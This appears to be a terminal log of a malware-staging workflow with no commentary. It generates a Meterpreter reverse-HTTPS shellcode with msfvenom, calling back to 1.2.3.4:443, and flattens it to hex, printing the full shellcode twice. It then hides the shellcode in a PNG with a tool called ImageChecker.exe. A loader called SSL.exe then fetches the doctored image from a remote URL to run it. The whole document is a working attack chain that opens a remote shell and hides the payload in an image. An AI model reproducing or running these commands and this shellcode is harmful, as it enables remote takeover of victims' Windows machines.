$ msfvenom -p windows/meterpreter/reverse_https LHOST=1.2.3.4 LPORT=443 -f c -o msf.txt
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 545 bytes
Final size of c file: 2315 bytes
Saved as: msf.txt

$ cat msf.txt|grep -v unsigned|sed "s/\"\\\x//g"|sed "s/\\\x//g"|sed "s/\"//g"|sed ':a;N;$!ba;s/\n//g'|sed "s/;//g"

fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d686e6574006877696e6954684c772607ffd531db5353535353683a5679a7ffd553536a03535368bb010000e8500100002f626a5468507451456358326a314b4c562d4b483955776e4d466970474165444b4e702d336e754f3776474a69785f58436b3957444442566a78544c7743536d736f68744d4476754a4a77746d4953624d774f77414a6a6f555564575f61476532764f314a534c364347424c6278535f7a6645447043494d50786443595f63326e735831775f4651316e33532d484f34644a376f68424c4832574173576d687762686533726c6866465177523557505465324366502d654f666a62414834597100506857899fc6ffd589c653680032e08453535357535668eb552e3bffd5966a0a5f688033000089e06a04506a1f566875469e86ffd55353535356682d06187bffd585c0751468881300006844f035e0ffd54f75cde8440000006a4068001000006800004000536858a453e5ffd593535389e7576800200000535668129689e2ffd585c074cf8b0701c385c075e558c35fe86bffffff312e322e332e3400bbf0b5a2566a0053ffd5

> ImageChecker.exe fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d686e6574006877696e6954684c772607ffd531db5353535353683a5679a7ffd553536a03535368bb010000e8500100002f626a5468507451456358326a314b4c562d4b483955776e4d466970474165444b4e702d336e754f3776474a69785f58436b3957444442566a78544c7743536d736f68744d4476754a4a77746d4953624d774f77414a6a6f555564575f61476532764f314a534c364347424c6278535f7a6645447043494d50786443595f63326e735831775f4651316e33532d484f34644a376f68424c4832574173576d687762686533726c6866465177523557505465324366502d654f666a62414834597100506857899fc6ffd589c653680032e08453535357535668eb552e3bffd5966a0a5f688033000089e06a04506a1f566875469e86ffd55353535356682d06187bffd585c0751468881300006844f035e0ffd54f75cde8440000006a4068001000006800004000536858a453e5ffd593535389e7576800200000535668129689e2ffd585c074cf8b0701c385c075e558c35fe86bffffff312e322e332e3400bbf0b5a2566a0053ffd5 test.png test_encode.png

> SSL.exe http://baidu.com/xxx/xx/xx.test_encode.png